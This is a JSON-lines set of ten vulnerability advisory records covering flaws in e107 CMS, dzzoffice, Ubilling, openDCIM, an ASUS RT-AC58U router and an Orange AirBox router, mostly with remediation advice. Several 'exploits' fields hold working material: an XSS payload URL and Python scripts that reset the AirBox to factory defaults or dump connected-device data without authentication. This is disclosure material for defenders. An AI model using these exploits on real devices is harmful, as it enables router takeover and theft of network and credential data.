{"dataType":"CVE_RECORD","dataVersion":"5.1","containers":{"cna":{"title":"Reflected Cross-Site Scripting (XSS) in e107 CMS","descriptions":[{"lang":"en","value":"Multiple publicly accessible front-end controllers in e107 CMS reflect user-supplied HTTP GET and POST parameters into HTML responses without consistent output encoding. The source disclosure identifies affected endpoints including search.php, news.php, and user.php. An unauthenticated attacker can cause JavaScript execution in the browser context of a user who visits a maliciously crafted URL or submits a crafted request. Potential impact includes information disclosure, session hijacking, and privilege escalation.\n\nThe source disclosure reported no official vendor patch or security advisory at publication and recommended monitoring upstream changes. Apply context-appropriate output encoding to user-controlled data before rendering; WAF rules can provide an additional mitigation.\n\nSource identifier: GCVE-115-2026-20035. Imported from the CIRCL disclosure published on 2026-11-11."}],"affected":[{"vendor":"e107","product":"e107 CMS","versions":[{"version":"< 2.3.3 (source product metadata)","status":"affected"}]}],"source":{"discovery":"EXTERNAL"},"x_gcve":[{"vulnId":"GCVE-115-2026-00010","recordType":"advisory"}],"problemTypes":[{"descriptions":[{"lang":"en","type":"CWE","cweId":"CWE-79","description":"CWE-79"}]}],"references":[{"url":"https://vulnerability.circl.lu/disclosure/ac20c75b-6c3a-4f14-bc0d-fa9a847b9cce"}],"datePublic":"2026-11-11T00:00:00.000Z","credits":[{"lang":"en","type":"finder","value":"Adrian \"syrex1013\" Dacka"}]}},"cveMetadata":{"vulnId":"GCVE-115-2026-00010","state":"PUBLISHED","datePublished":"2026-11-12T15:58:47.002Z","dateUpdated":"2026-11-12T15:58:47.002Z","dateReserved":"2026-11-12T15:58:47.002Z"}}
{"dataType":"CVE_RECORD","dataVersion":"5.1","containers":{"cna":{"title":"Insecure File Upload in e107 CMS Media Manager","descriptions":[{"lang":"en","value":"An insecure file handling / arbitrary file upload vulnerability was identified in the e107_admin/image.php Media Manager component of e107 CMS v2.3.3. Upload and remote import logic fails to enforce robust file type and content validation, allowing malicious files to be accepted. An authenticated user with media upload privileges can place crafted files in web-accessible locations. Execution or access to those files may lead to remote code execution, information disclosure, privilege escalation, and application compromise.\n\nThe source disclosure reported no official vendor fix at publication. Tighten allowed file extensions, enforce server-side content validation, disable remote URL import, and store uploaded files outside web roots.\n\nSource identifier: GCVE-115-2026-20034. Imported from the CIRCL disclosure published on 2026-11-11. The source narrative identifies v2.3.3, while its affected-product metadata lists versions below 2.3.3."}],"affected":[{"vendor":"e107","product":"e107 CMS","versions":[{"version":"2.3.3 (source finding); < 2.3.3 (source product metadata)","status":"affected"}]}],"source":{"discovery":"EXTERNAL"},"x_gcve":[{"vulnId":"GCVE-115-2026-00009","recordType":"advisory"}],"problemTypes":[{"descriptions":[{"lang":"en","type":"CWE","cweId":"CWE-434","description":"CWE-434"}]}],"references":[{"url":"https://vulnerability.circl.lu/disclosure/317a4435-dc98-4267-a05b-bdb3fd9d89a2"}],"datePublic":"2026-11-11T00:00:00.000Z","credits":[{"lang":"en","type":"finder","value":"Adrian \"syrex1013\" Dacka"}]}},"cveMetadata":{"vulnId":"GCVE-115-2026-00009","state":"PUBLISHED","datePublished":"2026-11-12T15:58:16.527Z","dateUpdated":"2026-11-12T15:58:16.527Z","dateReserved":"2026-11-12T15:58:16.527Z"}}
{"dataType":"CVE_RECORD","dataVersion":"5.1","containers":{"cna":{"title":"SQL Injection in dzzoffice Debug Cache","descriptions":[{"lang":"en","value":"A SQL injection vulnerability was discovered in the debug view-cache functionality of dzzoffice v2.4.0. The c parameter in the debug cache endpoint is incorporated into an SQL query without proper sanitization when the debug interface is enabled. Exploitation requires access to the debug endpoint and a valid debug session key. The vulnerability may disclose information from the syscache table or other database records.\n\nThe source disclosure reported no publicly available vendor patch at publication. Disable DZZ_DEBUG in production, restrict debug endpoints to trusted users, and enforce administrator access requirements.\n\nSource identifier: GCVE-115-2026-20033. Imported from the CIRCL disclosure published on 2026-11-11. The source narrative identifies v2.4.0, while its affected-product metadata lists versions below 2.4.0."}],"affected":[{"vendor":"dzzoffice","product":"dzzoffice","versions":[{"version":"2.4.0 (as described in the source finding; source product metadata lists < 2.4.0)","status":"affected"}]}],"source":{"discovery":"EXTERNAL"},"x_gcve":[{"vulnId":"GCVE-115-2026-00008","recordType":"advisory"}],"problemTypes":[{"descriptions":[{"lang":"en","type":"CWE","cweId":"CWE-89","description":"CWE-89"}]}],"references":[{"url":"https://vulnerability.circl.lu/disclosure/2048962a-b548-4e9f-978c-e3ab66e32aeb"}],"datePublic":"2026-11-11T00:00:00.000Z","credits":[{"lang":"en","type":"finder","value":"Adrian \"syrex1013\" Dacka"}]}},"cveMetadata":{"vulnId":"GCVE-115-2026-00008","state":"PUBLISHED","datePublished":"2026-11-12T15:57:35.375Z","dateUpdated":"2026-11-12T15:57:35.375Z","dateReserved":"2026-11-12T15:57:35.375Z"}}
{"dataType":"CVE_RECORD","dataVersion":"5.1","containers":{"cna":{"title":"SQL Injection in Ubilling DealWithIt API","descriptions":[{"lang":"en","value":"Multiple SQL injection vulnerabilities were identified in the api.dealwithit.php endpoint of Ubilling v1.5.8. The tariff and tariff_contains parameters and related exclude fields are concatenated into SQL statements without sanitization. The vulnerability may allow enumeration of user logins, extraction of data, or data modification depending on database configuration.\n\nThe source disclosure reported no official patch at publication. Restrict access to the API, implement prepared statements, and validate incoming parameters before database usage.\n\nSource identifier: GCVE-115-2026-20032. Imported from the CIRCL disclosure published on 2026-11-11."}],"affected":[{"vendor":"Ubilling","product":"Ubilling","versions":[{"version":"1.5.8","status":"affected"}]}],"source":{"discovery":"EXTERNAL"},"x_gcve":[{"vulnId":"GCVE-115-2026-00007","recordType":"advisory"}],"problemTypes":[{"descriptions":[{"lang":"en","type":"CWE","cweId":"CWE-89","description":"CWE-89"}]}],"references":[{"url":"https://vulnerability.circl.lu/disclosure/81558045-1cf2-4406-bac6-7c02f7d15791"}],"datePublic":"2026-11-11T00:00:00.000Z","credits":[{"lang":"en","type":"finder","value":"Adrian \"syrex1013\" Dacka"}]}},"cveMetadata":{"vulnId":"GCVE-115-2026-00007","state":"PUBLISHED","datePublished":"2026-11-12T15:57:05.431Z","dateUpdated":"2026-11-12T15:57:05.431Z","dateReserved":"2026-11-12T15:57:05.431Z"}}
{"dataType":"CVE_RECORD","dataVersion":"5.1","containers":{"cna":{"title":"SQL Injection in openDCIM RackRequest","descriptions":[{"lang":"en","value":"openDCIM v23.04 contains a SQL injection vulnerability in the rackrequest.php component. Methods such as CreateRequest and UpdateRequest construct SQL queries using unsanitized POST fields, leading to injection. An authenticated user with RackRequest or RackAdmin permissions can manipulate database query logic through affected request fields. The vulnerability may affect database confidentiality and integrity, including information disclosure and data manipulation depending on database configuration.\n\nThe source disclosure reported no official patch at publication. Use prepared statements or parameterized queries and restrict access to the RackRequest interface.\n\nSource identifier: GCVE-115-2026-20031. Imported from the CIRCL disclosure published on 2026-11-11."}],"affected":[{"vendor":"openDCIM","product":"openDCIM","versions":[{"version":"23.04","status":"affected"}]}],"source":{"discovery":"EXTERNAL"},"x_gcve":[{"vulnId":"GCVE-115-2026-00006","recordType":"advisory"}],"problemTypes":[{"descriptions":[{"lang":"en","type":"CWE","cweId":"CWE-89","description":"CWE-89"}]}],"references":[{"url":"https://vulnerability.circl.lu/disclosure/b2dac1b0-a39d-4772-b58f-e987d9bee25a"}],"datePublic":"2026-11-11T00:00:00.000Z","credits":[{"lang":"en","type":"finder","value":"Adrian \"syrex1013\" Dacka"}]}},"cveMetadata":{"vulnId":"GCVE-115-2026-00006","state":"PUBLISHED","datePublished":"2026-11-12T15:56:07.093Z","dateUpdated":"2026-11-12T15:56:07.093Z","dateReserved":"2026-11-12T15:56:07.093Z"}}
{"dataType":"CVE_RECORD","dataVersion":"5.1","containers":{"cna":{"title":"A cross site scripting (XSS) vulnerability on ASUS RT-AC58U ","descriptions":[{"lang":"en","value":"A cross site scripting (XSS) vulnerability on ASUS RT-AC58U 3.0.0.4.380_6516 devices allows remote attackers to inject arbitrary web script or HTML via Advanced_ASUSDDNS_Content.asp, Advanced_WSecurity_Content.asp, Advanced_Wireless_Content.asp, Logout.asp, Main_Login.asp, MobileQIS_Login.asp, QIS_wizard.htma, YandexDNS.asp, ajax_status.xml, apply.cgi, clients.asp, disk.asp, disk_utility.asp, or internet.asp.\n\nTechnical details:\nThe vulnerability affects multiple ASP pages including Advanced_Wireless_Content.asp, Main_Login.asp, and various other administrative components that are accessible without authentication. The exploit works by crafting a malicious URL containing JavaScript injection (e.g., 192.168.1.1/Advanced_Wireless_Content.aspn9mn0'-alert(1)-'grqb0) which the router reflects back in an unescaped script tag during the redirect to the login page. The vulnerability allows attackers to execute arbitrary JavaScript in victims' browsers when they open the prepared URL, potentially leading to session hijacking or credential theft. This is a security research repository documenting the vulnerability discovered in October 2018."}],"affected":[{"vendor":"asus","product":"rt-ac58u_firmware","versions":[{"version":"<=3.0.0.4.380_6516","status":"affected"}]}],"source":{"discovery":"EXTERNAL"},"x_gcve":[{"vulnId":"GCVE-115-2026-00005","recordType":"advisory","relationships":[{"destId":"CVE-2018-18291","type":"equal"}]}],"exploits":[{"lang":"en","value":"192.168.1.1/Advanced_Wireless_Content.aspn9mn0'-alert(1)-'grqb0"}],"references":[{"url":"https://github.com/remix30303/AsusXSS/"}],"datePublic":"2018-10-14","credits":[{"lang":"en","type":"finder","value":"Adrian \"syrex1013\" Dacka"}]}},"cveMetadata":{"vulnId":"GCVE-115-2026-00005","state":"PUBLISHED","datePublished":"2026-09-16T00:00:00.000Z","cveId":"CVE-2018-18291"}}
{"dataType":"CVE_RECORD","dataVersion":"5.1","containers":{"cna":{"title":"ASUS RT-AC58U Information Disclosure","descriptions":[{"lang":"en","value":"CVE-2018-18287 is an information disclosure vulnerability that affects ASUS routers running specific firmware versions. The vulnerability exists in the router's web interface and allows unauthorized access to sensitive network data.\n\nTechnical details:\nThe vulnerability is present in the main login page (Main_Login.asp) and additional pages of the router's web interface. These pages inadvertently expose:\n\nDHCP Lease Information: Complete list of devices connected to the network, including IP addresses and hostnames\nNetwork Time Information: Current time, date, and system uptime statistics\nNetwork Topology: Details about active network clients\nThis information is accessible without authentication, allowing any user with network access to the router's web interface to extract sensitive data about the network and connected devices."}],"affected":[{"vendor":"ASUS","product":"RT-AC58U Firmware","versions":[{"version":"<=3.0.0.4.380_6516","status":"affected"}]}],"source":{"discovery":"EXTERNAL"},"x_gcve":[{"vulnId":"GCVE-115-2026-00004","recordType":"advisory","relationships":[{"destId":"CVE-2018-18287","type":"equal"}]}],"exploits":[{"lang":"en","value":"DHCP Leak Extraction:\n\nSends an HTTP GET request to http://[router-ip]/Main_Login.asp\nParses the JavaScript variable dhcpLeaseInfo from the response\nExtracts and formats the list of connected devices with their IP addresses and hostnames\nTime Information Extraction:\n\nSends an HTTP GET request to http://[router-ip]/update_clients.asp\nExtracts the current_time value from the response\nDisplays the router's current time, date, and uptime information\nBoth requests are made without any authentication, demonstrating the severity of the vulnerability."}],"references":[{"url":"https://github.com/remix30303/AsusLeak"}],"datePublic":"2018-10-14","credits":[{"lang":"en","type":"finder","value":"Adrian \"syrex1013\" Dacka"}]}},"cveMetadata":{"vulnId":"GCVE-115-2026-00004","state":"PUBLISHED","datePublished":"2026-09-16T00:00:00.000Z","cveId":"CVE-2018-18287"}}
{"dataType":"CVE_RECORD","dataVersion":"5.1","containers":{"cna":{"title":"goform/setReset on Orange AirBox ","descriptions":[{"lang":"en","value":"goform/setReset on Orange AirBox Y858_FL_01.16_04 devices allows attackers to reset a router to factory settings, which can be used to login using the default admin:admin credentials.\n\nTechnical details:\nt: The vulnerability exists in the goform/setReset endpoint on the device web interface.\nType of Vulnerability: Missing Authorization (CWE-862). The device does not enforce any authentication or authorization when accessing the reset function.\nAttack Mechanism: An unauthenticated attacker on the same network (or with the ability to send requests to the device) can POST to the /goform/setReset endpoint.\nImpact: The device is reset to factory settings. Following the reset, the attacker can log in using the default credentials (admin:admin). This can allow the attacker to take full control of the device, alter configurations, or intercept network traffic passing through the router."}],"affected":[{"vendor":"orange","product":"airbox_firmware","versions":[{"version":"Y858_FL_01.16_04","status":"affected"}]}],"source":{"discovery":"EXTERNAL"},"x_gcve":[{"vulnId":"GCVE-115-2026-00003","recordType":"advisory","relationships":[{"destId":"CVE-2018-18377","type":"equal"}]}],"problemTypes":[{"descriptions":[{"lang":"en","type":"CWE","cweId":"CWE-862","description":"CWE-862"}]}],"exploits":[{"lang":"en","value":"import argparse\nimport requests\nimport re\n\ndef ResetSettingsToFactory(ip):\n\turl='http://{}/goform/setReset'.format(ip)\n\tr = requests.get(url)\n\t\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser(description='Aribox Password Reset')\n\tparser.add_argument('-ip', action ='store', dest='ip', help=\"IP of router\",default=max)\n\tresults = parser.parse_args()\n\tResetSettingsToFactory(results.ip)"}],"references":[{"url":"https://github.com/remix30303/AirBoxDoom"}],"datePublic":"2018-10-15","credits":[{"lang":"en","type":"finder","value":"Adrian \"syrex1013\" Dacka"}]}},"cveMetadata":{"vulnId":"GCVE-115-2026-00003","state":"PUBLISHED","datePublished":"2026-09-16T00:00:00.000Z","cveId":"CVE-2018-18377"}}
{"dataType":"CVE_RECORD","dataVersion":"5.1","containers":{"cna":{"title":"goform/getWlanClientInfo in Orange AirBox ","descriptions":[{"lang":"en","value":"goform/getWlanClientInfo in Orange AirBox Y858_FL_01.16_04 allows remote attackers to discover information about currently connected devices (hostnames, IP addresses, MAC addresses, and connection time) via the rand parameter.\n\nTechnical details:\nAirBox has hidden webpage http://192.168.1.1/goform/getWlanClientInfo?rand= which prints currently connected devices ip,hostnames,mac addresses and connection time.\n\n"}],"affected":[{"vendor":"orange","product":"airbox_firmware","versions":[{"version":"Y858_FL_01.16_04","status":"affected"}]}],"source":{"discovery":"EXTERNAL"},"x_gcve":[{"vulnId":"GCVE-115-2026-00002","recordType":"advisory","relationships":[{"destId":"CVE-2018-18376","type":"equal"}]}],"exploits":[{"lang":"en","value":"import argparse\nimport requests\nimport re\n\ndef ExtractDHCP(ip):\n\turl='http://{}/goform/getWlanClientInfo?rand='.format(ip)\n\tr = requests.get(url)\n\thtml = str(r.content)\n\tprint(html)\n\t\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser(description='Aribox DHCP extract')\n\tparser.add_argument('-ip', action ='store', dest='ip', help=\"IP of router\",default=max)\n\tresults = parser.parse_args()\n\tExtractDHCP(results.ip)"}],"references":[{"url":"https://github.com/remix30303/AirboxLeak"}],"datePublic":"2018-10-15","credits":[{"lang":"en","type":"finder","value":"Adrian \"syrex1013\" Dacka"}]}},"cveMetadata":{"vulnId":"GCVE-115-2026-00002","state":"PUBLISHED","datePublished":"2026-09-16T00:00:00.000Z","cveId":"CVE-2018-18376"}}
{"dataType":"CVE_RECORD","dataVersion":"5.1","containers":{"cna":{"title":"goform/getProfileList in Orange AirBox Y858_FL_01","descriptions":[{"lang":"en","value":"goform/getProfileList in Orange AirBox Y858_FL_01.16_04 allows attackers to extract APN data (name, number, username, and password) via the rand parameter.\n\nTechnical details:\nAirBoxAPNLeaks is a Python-based proof-of-concept exploit demonstrating CVE-2018-18375, a security vulnerability affecting Orange AirBox routers running firmware Y858_FL_01.16_04. The tool exploits an exposed HTTP endpoint (/goform/getProfileList) that leaks sensitive APN (Access Point Name) configuration details including usernames, passwords, and phone numbers without authentication. The implementation utilizes the requests library to send HTTP GET requests to the vulnerable router and parse the returned HTML content containing the leaked credentials. This vulnerability allows attackers on the local network to steal external IP addresses and mobile network authentication credentials, posing significant privacy and security risks. The repository contains a single 15-line Python script with command-line argument parsing for specifying target router IP addresses."}],"affected":[{"vendor":"orange","product":"airbox_firmware","versions":[{"version":"Y858_FL_01.16_04","status":"affected"}]}],"source":{"discovery":"EXTERNAL"},"x_gcve":[{"vulnId":"GCVE-115-2026-00001","recordType":"advisory","relationships":[{"destId":"CVE-2018-18375","type":"equal"}]}],"exploits":[{"lang":"en","value":"AirBox has hidden webpage http://192.168.1.1/goform/getProfileList?rand= which prints detailed APN info. It can be used to steal external ip addresses.\n"}],"references":[{"url":"https://github.com/remix30303/AirBoxAPNLeaks"}],"datePublic":"2018-10-15","credits":[{"lang":"en","type":"finder","value":"Adrian \"syrex1013\" Dacka"}]}},"cveMetadata":{"vulnId":"GCVE-115-2026-00001","state":"PUBLISHED","datePublished":"2026-09-16T00:00:00.000Z","cveId":"CVE-2018-18375"}}